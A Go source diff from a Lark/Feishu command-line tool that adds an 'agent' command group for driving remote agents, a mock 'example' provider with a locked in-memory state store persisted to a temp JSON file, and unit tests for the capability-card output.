if _, err := p.GetTask(ctx, task.TaskID); err == nil {
|
||||
t.Fatal("after deleting the context its tasks should be unqueryable")
|
||||
}
|
||||
ctxs, err := p.ListContexts(ctx)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(ctxs) != 0 {
|
||||
t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
|
||||
}
|
||||
}
|
||||
|
||||
// agentReply returns the first text reply from the agent role in the task.
|
||||
func agentReply(t *testing.T, task *agent.AgentTask) string {
|
||||
t.Helper()
|
||||
for _, m := range task.Messages {
|
||||
if m.Role != "agent" {
|
||||
continue
|
||||
}
|
||||
for _, part := range m.Parts {
|
||||
if part.Type == "text" {
|
||||
return part.Text
|
||||
}
|
||||
}
|
||||
}
|
||||
t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
|
||||
return ""
|
||||
}
|
||||
324
agent/example/state.go
Normal file
324
agent/example/state.go
Normal file
@@ -0,0 +1,324 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package example
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/vfs"
|
||||
)
|
||||
|
||||
// ============================================================================
|
||||
// In-memory state machine (teaching focus: concurrency safety of package-level
|
||||
// state + the CLI process boundary)
|
||||
//
|
||||
// A real provider's context/task state lives on the server, so the adapter is
|
||||
// naturally stateless; example is a pure mock and must manage state itself. Two
|
||||
// disciplines the integrator needs to know:
|
||||
//
|
||||
// 1. Concurrency safety: provider instances may be constructed / called
|
||||
// concurrently (e.g. list's probe alongside the real call), so package-level
|
||||
// mutable state must be locked. A single coarse-grained Mutex covers all
|
||||
// reads and writes here — the mock does not chase throughput; correctness comes first.
|
||||
// 2. CLI process boundary: every lark-cli command is a fresh process, so a pure
|
||||
// in-memory map does not survive a single command — after `send`, a
|
||||
// `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
|
||||
// the in-memory map (under os.TempDir, last-writer-wins) to make the offline
|
||||
// demo chain work across commands. A real provider neither needs nor should
|
||||
// have this layer — it is a mock-only demo device.
|
||||
//
|
||||
// Note that the snapshot is loaded lazily (only on the first real read/write of
|
||||
// state): Register's zero-value Deps probe constructs a provider once at
|
||||
// registration time, and construction must have no side effects (the registry.go
|
||||
// contract), so Factory / Card / ListAgents must not touch store.
|
||||
// ============================================================================
|
||||
|
||||
// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
|
||||
// + creation sequence number (list output sorts by creation order to guarantee
|
||||
// stable enumeration).
|
||||
type taskRecord struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Seq int `json:"seq"`
|
||||
Task agent.AgentTask `json:"task"`
|
||||
}
|
||||
|
||||
// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
|
||||
// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
|
||||
// demonstrate "context memory".
|
||||
type contextRecord struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
ContextID string `json:"context_id"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Title string `json:"title,omitempty"`
|
||||
Seq int `json:"seq"`
|
||||
TaskIDs []string `json:"task_ids"`
|
||||
}
|
||||
|
||||
// memoryStore is the package-level state machine itself: mu covers all fields;
|
||||
// path is the JSON snapshot location; loaded ensures the snapshot is read only
|
||||
// once, on first access.
|
||||
type memoryStore struct {
|
||||
mu sync.Mutex
|
||||
path string
|
||||
loaded bool
|
||||
|
||||
Contexts map[string]*contextRecord `json:"contexts"`
|
||||
Tasks map[string]*taskRecord `json:"tasks"`
|
||||
NextSeq int `json:"next_seq"`
|
||||
}
|
||||
|
||||
// store is the package-level singleton. Tests use swapStoreForTest to replace it
|
||||
// with an instance pointing at t.TempDir, avoiding cross-contamination between
|
||||
// tests and between tests and the local demo state.
|
||||
var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agent.json"))
|
||||
|
||||
func newMemoryStore(path string) *memoryStore {
|
||||
return &memoryStore{
|
||||
path: path,
|
||||
Contexts: map[string]*contextRecord{},
|
||||
Tasks: map[string]*taskRecord{},
|
||||
}
|
||||
}
|
||||
|
||||
// loadLocked lazily reads in the snapshot (the caller must already hold the
|
||||
// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
|
||||
// mock's demo data is not worth erroring over, so it just starts fresh.
|
||||
func (s *memoryStore) loadLocked() {
|
||||
if s.loaded {
|
||||
return
|
||||
}
|
||||
s.loaded = true
|
||||
data, err := vfs.ReadFile(s.path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var snap memoryStore
|
||||
if json.Unmarshal(data, &snap) != nil {
|
||||
return
|
||||
}
|
||||
if snap.Contexts != nil {
|
||||
s.Contexts = snap.Contexts
|
||||
}
|
||||
if snap.Tasks != nil {
|
||||
s.Tasks = snap.Tasks
|
||||
}
|
||||
s.NextSeq = snap.NextSeq
|
||||
}
|
||||
|
||||
// saveLocked writes the current state back to the snapshot (the caller must
|
||||
// already hold the lock). A write failure returns a typed internal error
|
||||
// (storage subtype) — the mock does not swallow errors either: silently losing
|
||||
// state would make the next command report "task not found", which is harder to
|
||||
// diagnose than a clear error.
|
||||
func (s *memoryStore) saveLocked() error {
|
||||
data, err := json.MarshalIndent(s, "", " ")
|
||||
if err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "序列化 example 状态失败: %v", err).WithCause(err)
|
||||
}
|
||||
if err := vfs.WriteFile(s.path, data, 0o600); err != nil {
|
||||
return errs.NewInternalError(errs.SubtypeStorage, "写 example 状态快照失败: %v", err).WithCause(err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// newID generates a random id that is safe for [A-Za-z0-9_-]. The character set
|
||||
// deliberately aligns with the command layer's meta.next interpolation
|
||||
// allowlist (cmd/agent/send.go safeNextID): the id is spliced into a command
|
||||
// string "the AI copies and runs", and an id with shell metacharacters would
|
||||
// cause the whole hint to be suppressed.
|
||||
func newID(prefix string) string {
|
||||
var b [6]byte
|
||||
if _, err := rand.Read(b[:]); err != nil {
|
||||
// crypto/rand being unavailable is an environment-level failure; the mock
|
||||
// degrades to a timestamp that still satisfies the character set.
|
||||
return prefix + "_" + time.Now().UTC().Format("20060102150405")
|
||||
}
|
||||
return prefix + "_" + hex.EncodeToString(b[:])
|
||||
}
|
||||
|
||||
// createContext creates a new context and returns its id (the first-turn send goes here).
|
||||
func (s *memoryStore) createContext(agentID, title string) (string, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
id := newID("ctx")
|
||||
s.NextSeq++
|
||||
s.Contexts[id] = &contextRecord{
|
||||
AgentID: agentID,
|
||||
ContextID: id,
|
||||
CreatedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Title: title,
|
||||
Seq: s.NextSeq,
|
||||
}
|
||||
return id, s.saveLocked()
|
||||
}
|
||||
|
||||
// createTask appends a task under ctxID: validate context ownership → compute
|
||||
// the round (which task number in this conversation) → call build under the lock
|
||||
// to construct the task → insert and write the snapshot. build runs inside the
|
||||
// lock to guarantee "compute the round" and "store the task" are atomic, so two
|
||||
// concurrent sends never get the same round.
|
||||
// An unknown / cross-agent context id returns a typed validation error (teaching
|
||||
// point: every error a provider returns must be typed — a bare error would land
|
||||
// as internal/exit 5, whereas this is clearly "the caller passed a wrong
|
||||
// argument", semantically invalid_argument/exit 2, and the AI relies on this
|
||||
// classification to decide between "fix the argument and retry" and "report an
|
||||
// environment failure").
|
||||
func (s *memoryStore) createTask(agentID, ctxID string, build func(round int) agent.AgentTask) (agent.AgentTask, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
task := build(len(ctx.TaskIDs) + 1)
|
||||
s.NextSeq++
|
||||
s.Tasks[task.TaskID] = &taskRecord{AgentID: agentID, Seq: s.NextSeq, Task: task}
|
||||
ctx.TaskIDs = append(ctx.TaskIDs, task.TaskID)
|
||||
return task, s.saveLocked()
|
||||
}
|
||||
|
||||
// getTask fetches a task snapshot by id (returns a copy by value, so the command
|
||||
// layer's in-place edits like normalizeTask do not write through to store). A
|
||||
// cross-agent task is treated as "not found", without leaking another agent's state.
|
||||
func (s *memoryStore) getTask(agentID, taskID string) (agent.AgentTask, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
rec, ok := s.Tasks[taskID]
|
||||
if !ok || rec.AgentID != agentID {
|
||||
return agent.AgentTask{}, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 task id '%s'(example:%s 名下不存在)", taskID, agentID).
|
||||
WithHint("运行 lark-cli agent task list example:%s 查看现有任务", agentID)
|
||||
}
|
||||
return rec.Task, nil
|
||||
}
|
||||
|
||||
// setTaskState updates a task's state (used by reporter's cancel).
|
||||
func (s *memoryStore) setTaskState(taskID string, state agent.TaskState) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
rec, ok := s.Tasks[taskID]
|
||||
if !ok {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "未知的 task id '%s'", taskID)
|
||||
}
|
||||
rec.Task.State = state
|
||||
rec.Task.IsTerminal = state.IsTerminal()
|
||||
return s.saveLocked()
|
||||
}
|
||||
|
||||
// listTasks lists an agent's task summaries, optionally filtered by contextID
|
||||
// (empty string means no filter), output in creation order. IsTerminal is
|
||||
// carried along here for convenience, but the command layer re-derives it from
|
||||
// State via normalizeTask* (single source), so the integrator need not worry
|
||||
// about this field.
|
||||
func (s *memoryStore) listTasks(agentID, contextID string) []agent.TaskSummary {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
recs := make([]*taskRecord, 0, len(s.Tasks))
|
||||
for _, rec := range s.Tasks {
|
||||
if rec.AgentID != agentID {
|
||||
continue
|
||||
}
|
||||
if contextID != "" && rec.Task.ContextID != contextID {
|
||||
continue
|
||||
}
|
||||
recs = append(recs, rec)
|
||||
}
|
||||
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
|
||||
out := make([]agent.TaskSummary, 0, len(recs))
|
||||
for _, rec := range recs {
|
||||
out = append(out, agent.TaskSummary{
|
||||
TaskID: rec.Task.TaskID,
|
||||
ContextID: rec.Task.ContextID,
|
||||
State: rec.Task.State,
|
||||
IsTerminal: rec.Task.IsTerminal,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// listContexts lists an agent's context summaries, output in creation order.
|
||||
func (s *memoryStore) listContexts(agentID string) []agent.ContextSummary {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
recs := make([]*contextRecord, 0, len(s.Contexts))
|
||||
for _, ctx := range s.Contexts {
|
||||
if ctx.AgentID == agentID {
|
||||
recs = append(recs, ctx)
|
||||
}
|
||||
}
|
||||
sort.Slice(recs, func(i, j int) bool { return recs[i].Seq < recs[j].Seq })
|
||||
out := make([]agent.ContextSummary, 0, len(recs))
|
||||
for _, ctx := range recs {
|
||||
out = append(out, agent.ContextSummary{
|
||||
ContextID: ctx.ContextID,
|
||||
CreatedAt: ctx.CreatedAt,
|
||||
Title: ctx.Title,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// getContext returns a context's detail (including its task summaries, in creation order).
|
||||
func (s *memoryStore) getContext(agentID, ctxID string) (*agent.ContextDetail, error) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
detail := &agent.ContextDetail{
|
||||
ContextID: ctx.ContextID,
|
||||
CreatedAt: ctx.CreatedAt,
|
||||
Title: ctx.Title,
|
||||
}
|
||||
for _, tid := range ctx.TaskIDs {
|
||||
if rec, ok := s.Tasks[tid]; ok {
|
||||
detail.Tasks = append(detail.Tasks, agent.TaskSummary{
|
||||
TaskID: rec.Task.TaskID,
|
||||
ContextID: rec.Task.ContextID,
|
||||
State: rec.Task.State,
|
||||
IsTerminal: rec.Task.IsTerminal,
|
||||
})
|
||||
}
|
||||
}
|
||||
return detail, nil
|
||||
}
|
||||
|
||||
// deleteContext deletes a context and its tasks (a destructive operation, already gated by --yes in the command layer).
|
||||
func (s *memoryStore) deleteContext(agentID, ctxID string) error {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
s.loadLocked()
|
||||
ctx, ok := s.Contexts[ctxID]
|
||||
if !ok || ctx.AgentID != agentID {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知的 context id '%s'(example:%s 名下不存在)", ctxID, agentID).
|
||||
WithHint("运行 lark-cli agent context list example:%s 查看现有会话", agentID)
|
||||
}
|
||||
for _, tid := range ctx.TaskIDs {
|
||||
delete(s.Tasks, tid)
|
||||
}
|
||||
delete(s.Contexts, ctxID)
|
||||
return s.saveLocked()
|
||||
}
|
||||
19
agent/register.go
Normal file
19
agent/register.go
Normal file
@@ -0,0 +1,19 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package agent is the top-level business layer that wires the in-repo agent
|
||||
// providers into the framework registry (internal/agent). It mirrors the events
|
||||
// layering: the framework/SPI lives in internal/agent, the concrete providers
|
||||
// live under agent/<scheme>/, and this package blank-imports each so their
|
||||
// init() self-registration runs. Blank-import this package from cmd to populate
|
||||
// the provider registry.
|
||||
//
|
||||
// To onboard a new provider: add its package under agent/<scheme>/ and add one
|
||||
// matching blank import below.
|
||||
package agent
|
||||
|
||||
import (
|
||||
// example is the in-repo onboarding template and offline demo provider
|
||||
// (in-memory mock, zero network); its init() registers the "example" scheme.
|
||||
_ "github.com/larksuite/cli/agent/example"
|
||||
)
|
||||
29
cmd/agent/agent.go
Normal file
29
cmd/agent/agent.go
Normal file
@@ -0,0 +1,29 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
)
|
||||
|
||||
// NewCmdAgent builds the `agent` command group: a provider-agnostic surface
|
||||
// that drives remote A2A agents with constant verbs. It is a pure group with
|
||||
// no RunE, so an unknown subcommand is reported rather than silently
|
||||
// swallowed. All five verbs (list/card/send/task/context) are wired here; task
|
||||
// and context are themselves nested groups.
|
||||
func NewCmdAgent(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "agent",
|
||||
Short: "Drive first-party remote agents (A2A: send / start task / poll / fetch result)",
|
||||
Long: "Drive Feishu first-party remote agents with a constant verb set. An agent_ref looks like <scheme>:<agent_id> (e.g. example:echo). Read capabilities with `agent card <agent_ref>` first, then pick verbs by capability.",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentList(f))
|
||||
cmd.AddCommand(NewCmdAgentCard(f))
|
||||
cmd.AddCommand(NewCmdAgentSend(f, nil))
|
||||
cmd.AddCommand(NewCmdAgentTask(f))
|
||||
cmd.AddCommand(NewCmdAgentContext(f))
|
||||
return cmd
|
||||
}
|
||||
34
cmd/agent/agent_test.go
Normal file
34
cmd/agent/agent_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import "testing"
|
||||
|
||||
// TestAgentCommandTree pins the shape of the `agent` command tree: the group
|
||||
// itself must have no RunE/Run (a bare group whose unknown subcommands surface
|
||||
// an error rather than being silently swallowed), and it must expose all five
|
||||
// verbs plus the nested task/context sub-groups.
|
||||
func TestAgentCommandTree(t *testing.T) {
|
||||
cmd := NewCmdAgent(nil)
|
||||
if cmd.RunE != nil || cmd.Run != nil {
|
||||
t.Error("agent group should not have RunE (otherwise it conflicts with unknownSubcommandGuard)")
|
||||
}
|
||||
want := []string{"list", "card", "send", "task", "context"}
|
||||
for _, name := range want {
|
||||
if findSub(cmd, name) == nil {
|
||||
t.Errorf("missing subcommand %s", name)
|
||||
}
|
||||
}
|
||||
// task/context are nested groups
|
||||
if task := findSub(cmd, "task"); task == nil {
|
||||
t.Error("missing agent task group")
|
||||
} else if findSub(task, "get") == nil {
|
||||
t.Error("missing agent task get")
|
||||
}
|
||||
if ctxCmd := findSub(cmd, "context"); ctxCmd == nil {
|
||||
t.Error("missing agent context group")
|
||||
} else if findSub(ctxCmd, "delete") == nil {
|
||||
t.Error("missing agent context delete")
|
||||
}
|
||||
}
|
||||
181
cmd/agent/card.go
Normal file
181
cmd/agent/card.go
Normal file
@@ -0,0 +1,181 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// cardOptions holds all inputs for `agent card <ref>`.
|
||||
type cardOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// NewCmdAgentCard builds `agent card <ref>`: fetch and display an agent's
|
||||
// capability card. Adapters synthesize the card statically from their known
|
||||
// capability matrix — no API call is made, and the command works offline /
|
||||
// under mock. Risk=read.
|
||||
func NewCmdAgentCard(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &cardOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "card <agent_ref>",
|
||||
Short: "Show a remote agent's capability card (capabilities / parameters / identity)",
|
||||
Long: "Fetch and show an agent's capability card. Use its capabilities to decide which verbs are available and its parameters to decide the --param a send needs. Some providers synthesize the card statically without calling the remote API.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentCardRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
|
||||
} else {
|
||||
// f is nil only in construction-time unit tests; register a bare --as so
|
||||
// the flag surface is still assertable without a Factory.
|
||||
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
|
||||
}
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// agentCardRun resolves the provider addressed by ref and emits its capability
|
||||
// card. The card is first-party static data (not agent-generated content), so
|
||||
// it bypasses content-safety scanning. The JSON success envelope is the
|
||||
// default; --format pretty opts into the human-readable listing. A --jq
|
||||
// expression forces JSON (jq operates on the envelope) and, when present,
|
||||
// filters stdout.
|
||||
func agentCardRun(opts *cardOptions) error {
|
||||
f := opts.Factory
|
||||
// Card synthesis is API-free, so resolve without requiring a
|
||||
// configured client: `agent card` must work offline / before config init.
|
||||
p, id, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
r, err := iagent.ParseRef(opts.Ref)
|
||||
if err != nil {
|
||||
return wrapRefResolveError(err)
|
||||
}
|
||||
card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
jq := jqExpr(opts.Cmd)
|
||||
// pretty is a human view only; a --jq expression implies structured JSON,
|
||||
// so it takes precedence over the pretty format.
|
||||
if opts.Format == "pretty" && jq == "" {
|
||||
printCardPretty(f.IOStreams.Out, card)
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: card,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// printCardPretty writes a compact human-readable view of an agent card:
|
||||
// identity header (with per-identity preconditions), the sorted capability
|
||||
// matrix, declared parameters and skills — the key constraints an AI reads
|
||||
// from json must also be visible to a human. Remote cards carry
|
||||
// agent-controlled Name/Description/Desc
|
||||
// strings, so every such field is ANSI-stripped before hitting the terminal.
|
||||
// Nil cards degrade to a placeholder line rather than panicking.
|
||||
func printCardPretty(w io.Writer, card *iagent.AgentCard) {
|
||||
if card == nil {
|
||||
fmt.Fprintln(w, "(no card)")
|
||||
return
|
||||
}
|
||||
// Dynamic cards carry a Name; static cards fall back to the provider label.
|
||||
name := card.Name
|
||||
if name == "" {
|
||||
name = card.ProviderLabel
|
||||
}
|
||||
fmt.Fprintf(w, "%s (%s)\n", stripANSI(name), card.AgentID)
|
||||
if card.Description != "" {
|
||||
fmt.Fprintf(w, " %s\n", stripANSI(card.Description))
|
||||
}
|
||||
if len(card.Identity) > 0 {
|
||||
ids := make([]string, 0, len(card.Identity))
|
||||
for _, spec := range card.Identity {
|
||||
id := string(spec.Type)
|
||||
if spec.Precondition != "" {
|
||||
id += "(前置: " + stripANSI(spec.Precondition) + ")"
|
||||
}
|
||||
ids = append(ids, id)
|
||||
}
|
||||
fmt.Fprintf(w, " identity: %s\n", strings.Join(ids, ", "))
|
||||
}
|
||||
|
||||
fmt.Fprintln(w, " capabilities:")
|
||||
// Capabilities is a closed struct; iterate in fixed alphabetical key order,
|
||||
// matching the sorted output of the earlier map-based representation.
|
||||
for _, k := range []string{
|
||||
iagent.CapArtifactDownload,
|
||||
iagent.CapFileInput,
|
||||
iagent.CapInputRequired,
|
||||
iagent.CapMultiTurn,
|
||||
iagent.CapTaskCancel,
|
||||
iagent.CapTaskGet,
|
||||
iagent.CapTaskList,
|
||||
} {
|
||||
mark := "no"
|
||||
if card.Supports(k) {
|
||||
mark = "yes"
|
||||
}
|
||||
fmt.Fprintf(w, " %-20s %s\n", k, mark)
|
||||
}
|
||||
|
||||
if len(card.Parameters) > 0 {
|
||||
fmt.Fprintln(w, " parameters:")
|
||||
for _, pr := range card.Parameters {
|
||||
req := ""
|
||||
if pr.Required {
|
||||
req = " (required)"
|
||||
}
|
||||
fmt.Fprintf(w, " %s: %s%s", pr.Name, pr.Type, req)
|
||||
if pr.Desc != "" {
|
||||
fmt.Fprintf(w, " — %s", stripANSI(pr.Desc))
|
||||
}
|
||||
fmt.Fprintln(w)
|
||||
}
|
||||
}
|
||||
|
||||
if len(card.Skills) > 0 {
|
||||
fmt.Fprintln(w, " skills:")
|
||||
for _, sk := range card.Skills {
|
||||
name := sk.Name
|
||||
if name == "" {
|
||||
name = sk.ID
|
||||
}
|
||||
fmt.Fprintf(w, " %s\n", stripANSI(name))
|
||||
}
|
||||
}
|
||||
}
|
||||
286
cmd/agent/card_test.go
Normal file
286
cmd/agent/card_test.go
Normal file
@@ -0,0 +1,286 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
// cardTestOpts builds a cardOptions driving agentCardRun against a real
|
||||
// (test) Factory. The example card is synthesized statically, so no API call
|
||||
// is made and stdout carries the capability card envelope.
|
||||
func cardTestOpts(t *testing.T, ref string) (*cardOptions, *core.CliConfig) {
|
||||
t.Helper()
|
||||
cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
|
||||
f, _, _, _ := cmdutil.TestFactory(t, cfg)
|
||||
cmd := resolveCmd(t, true, "bot") // reuses the common_test.go helper (--as=bot)
|
||||
return &cardOptions{Factory: f, Cmd: cmd, Ref: ref, As: "bot", Format: "json"}, cfg
|
||||
}
|
||||
|
||||
// TestAgentCardRun_ExampleStaticCard verifies that `agent card example:echo`
|
||||
// returns the statically synthesized capability card (no API), with
|
||||
// task_cancel gated off and multi_turn on, and the agent_id echoed from the
|
||||
// ref.
|
||||
func TestAgentCardRun_ExampleStaticCard(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card should be statically synthesized and not error: %v", err)
|
||||
}
|
||||
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v", err)
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
data, ok := env.Data.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data should be a card object, got %T", env.Data)
|
||||
}
|
||||
if data["agent_id"] != "echo" {
|
||||
t.Errorf("agent_id should echo the ref, got %v", data["agent_id"])
|
||||
}
|
||||
if data["provider"] != "example" {
|
||||
t.Errorf("provider should be example, got %v", data["provider"])
|
||||
}
|
||||
// source was removed from the card (schema tightening).
|
||||
if _, present := data["source"]; present {
|
||||
t.Errorf("card should no longer carry a source field, got %v", data["source"])
|
||||
}
|
||||
caps, ok := data["capabilities"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("capabilities should be an object, got %T", data["capabilities"])
|
||||
}
|
||||
if caps["task_cancel"] != false {
|
||||
t.Errorf("echo task_cancel should be false, got %v", caps["task_cancel"])
|
||||
}
|
||||
if caps["multi_turn"] != true {
|
||||
t.Errorf("echo multi_turn should be true, got %v", caps["multi_turn"])
|
||||
}
|
||||
// parameters / identity must serialize as non-null (guard against omitempty
|
||||
// regression): parameters is always an array (empty [] for example),
|
||||
// identity is a non-empty array.
|
||||
if params, ok := data["parameters"].([]interface{}); !ok {
|
||||
t.Errorf("parameters should be a non-null array, got %T (%v)", data["parameters"], data["parameters"])
|
||||
} else if len(params) != 0 {
|
||||
t.Errorf("example parameters should be an empty array, got %v", params)
|
||||
}
|
||||
if ids, ok := data["identity"].([]interface{}); !ok || len(ids) == 0 {
|
||||
t.Errorf("identity should be a non-null non-empty array, got %T (%v)", data["identity"], data["identity"])
|
||||
}
|
||||
// card no longer exposes scope: the required_scopes field was removed from
|
||||
// AgentCard (scope is an internal registration item used only for preflight).
|
||||
if _, present := data["required_scopes"]; present {
|
||||
t.Errorf("card should no longer carry a required_scopes field, got %v", data["required_scopes"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_PrettyFormat verifies that with --format pretty (opt-in
|
||||
// since the json default flip), the card renders as a human-readable listing.
|
||||
// The output must surface the identity and capability names in plain text so
|
||||
// the stream is not valid envelope JSON.
|
||||
func TestAgentCardRun_PrettyFormat(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
opts.Format = "pretty"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentCardRun(opts); err != nil {
|
||||
t.Fatalf("card pretty should not error: %v", err)
|
||||
}
|
||||
|
||||
text := string(out.Bytes())
|
||||
// A pretty rendering is human text, not a JSON envelope.
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Fatalf("pretty format should not output a JSON envelope: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "echo") {
|
||||
t.Errorf("pretty output should contain agent_id: %s", text)
|
||||
}
|
||||
// multi_turn is a declared capability of the echo card; it must appear.
|
||||
if !strings.Contains(text, "multi_turn") {
|
||||
t.Errorf("pretty output should list capabilities: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestAgentCardRun_JSONFormat pins that --format json still emits the envelope.
|
||||
func TestAgentCardRun_JSONFormat(t *testing.T) {
|
||||
opts, _ := cardTestOpts(t, "example:echo")
|
||||
opts.Format = "json"
|
||||
